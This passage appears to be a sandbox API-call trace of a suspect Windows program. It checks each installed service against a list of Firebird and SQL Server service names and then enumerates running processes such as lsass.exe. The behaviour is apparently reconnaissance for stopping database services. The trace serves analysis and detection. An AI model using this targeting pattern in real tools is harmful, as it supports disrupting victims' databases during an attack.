(lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0260.217] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0260.217] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0260.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0260.217] lstrlenW (lpString="ClickToRunSvc") returned 13 [0260.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0260.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0260.217] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0260.217] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0260.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0260.217] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0260.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0260.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0260.217] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0260.217] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0260.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0260.217] lstrlenW (lpString="CryptSvc") returned 8 [0260.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0260.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0260.217] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0260.217] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0260.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0260.218] lstrlenW (lpString="DcomLaunch") returned 10 [0260.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0260.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0260.218] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0260.218] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0260.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0260.218] lstrlenW (lpString="DeviceAssociationService") returned 24 [0260.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0260.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0260.218] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0260.218] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0260.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0260.218] lstrlenW (lpString="Dhcp") returned 4 [0260.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0260.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0260.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0260.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0260.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0260.218] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0260.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0260.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0260.218] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0260.218] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0260.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0260.218] lstrlenW (lpString="Dnscache") returned 8 [0260.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0260.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0260.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0260.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0260.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0260.218] lstrlenW (lpString="DPS") returned 3 [0260.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0260.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0260.219] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0260.219] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0260.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0260.219] lstrlenW (lpString="DusmSvc") returned 7 [0260.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0260.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0260.219] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0260.219] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0260.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0260.219] lstrlenW (lpString="EventLog") returned 8 [0260.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0260.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0260.219] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0260.219] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0260.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0260.219] lstrlenW (lpString="EventSystem") returned 11 [0260.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0260.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0260.219] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0260.219] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0260.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0260.219] lstrlenW (lpString="FontCache") returned 9 [0260.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0260.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0260.219] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0260.219] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0260.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0260.219] lstrlenW (lpString="gpsvc") returned 5 [0260.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0260.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0260.219] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0260.219] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0260.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0260.220] lstrlenW (lpString="iphlpsvc") returned 8 [0260.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0260.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0260.220] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0260.220] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0260.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0260.220] lstrlenW (lpString="KeyIso") returned 6 [0260.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0260.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0260.220] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0260.220] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0260.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0260.220] lstrlenW (lpString="LanmanServer") returned 12 [0260.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0260.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0260.220] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0260.220] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0260.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0260.220] lstrlenW (lpString="LanmanWorkstation") returned 17 [0260.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0260.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0260.220] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0260.220] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0260.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0260.220] lstrlenW (lpString="lfsvc") returned 5 [0260.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0260.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0260.220] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0260.220] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0260.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0260.221] lstrlenW (lpString="lmhosts") returned 7 [0260.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0260.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0260.221] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0260.221] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0260.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0260.221] lstrlenW (lpString="LSM") returned 3 [0260.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0260.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0260.221] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0260.221] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0260.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0260.221] lstrlenW (lpString="MpsSvc") returned 6 [0260.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0260.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0260.221] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0260.221] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0260.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0260.221] lstrlenW (lpString="NcbService") returned 10 [0260.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0260.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0260.221] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0260.221] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0260.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0260.221] lstrlenW (lpString="netprofm") returned 8 [0260.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0260.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0260.221] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0260.221] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0260.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0260.222] lstrlenW (lpString="NgcSvc") returned 6 [0260.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0260.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0260.222] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0260.222] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0260.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0260.222] lstrlenW (lpString="NlaSvc") returned 6 [0260.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0260.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0260.222] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0260.222] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0260.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0260.222] lstrlenW (lpString="nsi") returned 3 [0260.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0260.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0260.222] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0260.222] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0260.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0260.222] lstrlenW (lpString="PcaSvc") returned 6 [0260.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0260.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0260.222] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0260.222] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0260.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0260.222] lstrlenW (lpString="PlugPlay") returned 8 [0260.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0260.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0260.222] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0260.223] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0260.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0260.223] lstrlenW (lpString="Power") returned 5 [0260.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0260.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0260.223] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0260.223] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0260.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0260.223] lstrlenW (lpString="ProfSvc") returned 7 [0260.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0260.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0260.223] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0260.223] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0260.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0260.223] lstrlenW (lpString="RpcEptMapper") returned 12 [0260.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0260.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0260.223] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0260.223] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0260.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0260.223] lstrlenW (lpString="RpcSs") returned 5 [0260.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0260.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0260.223] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0260.223] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0260.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0260.223] lstrlenW (lpString="SamSs") returned 5 [0260.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0260.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0260.223] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0260.224] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0260.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0260.224] lstrlenW (lpString="Schedule") returned 8 [0260.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0260.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0260.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0260.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0260.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0260.224] lstrlenW (lpString="SecurityHealthService") returned 21 [0260.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0260.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0260.224] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0260.224] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0260.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0260.224] lstrlenW (lpString="SENS") returned 4 [0260.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0260.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0260.224] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0260.224] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0260.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0260.224] lstrlenW (lpString="ShellHWDetection") returned 16 [0260.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0260.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0260.224] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0260.224] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0260.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0260.224] lstrlenW (lpString="Spooler") returned 7 [0260.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0260.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0260.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0260.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0260.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0260.224] lstrlenW (lpString="StateRepository") returned 15 [0260.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0260.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0260.225] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0260.225] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0260.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0260.225] lstrlenW (lpString="SysMain") returned 7 [0260.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0260.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0260.225] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0260.225] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0260.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0260.225] lstrlenW (lpString="SystemEventsBroker") returned 18 [0260.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0260.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0260.225] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0260.225] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0260.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0260.225] lstrlenW (lpString="Themes") returned 6 [0260.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0260.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0260.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0260.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0260.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0260.451] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0260.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0260.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0260.451] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0260.451] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0260.452] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4549f88 | out: hHeap=0x640000) returned 1 [0260.452] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c4 [0260.457] Process32FirstW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.458] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0260.459] lstrlenW (lpString="System") returned 6 [0260.459] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0260.459] lstrlenW (lpString="smss.exe") returned 8 [0260.460] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.460] lstrlenW (lpString="csrss.exe") returned 9 [0260.460] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.461] lstrlenW (lpString="wininit.exe") returned 11 [0260.461] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.462] lstrlenW (lpString="csrss.exe") returned 9 [0260.462] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.463] lstrlenW (lpString="winlogon.exe") returned 12 [0260.463] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.464] lstrlenW (lpString="services.exe") returned 12 [0260.464] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.464] lstrlenW (lpString="lsass.exe") returned 9 [0260.465] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0260.465] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0260.465] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0260.467] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0260.467] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.468] lstrlenW (lpString="svchost.exe") returned 11 [0260.468] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.469] lstrlenW (lpString="svchost.exe") returned 11 [0260.469] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.470] lstrlenW (lpString="dwm.exe") returned 7 [0260.470] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c 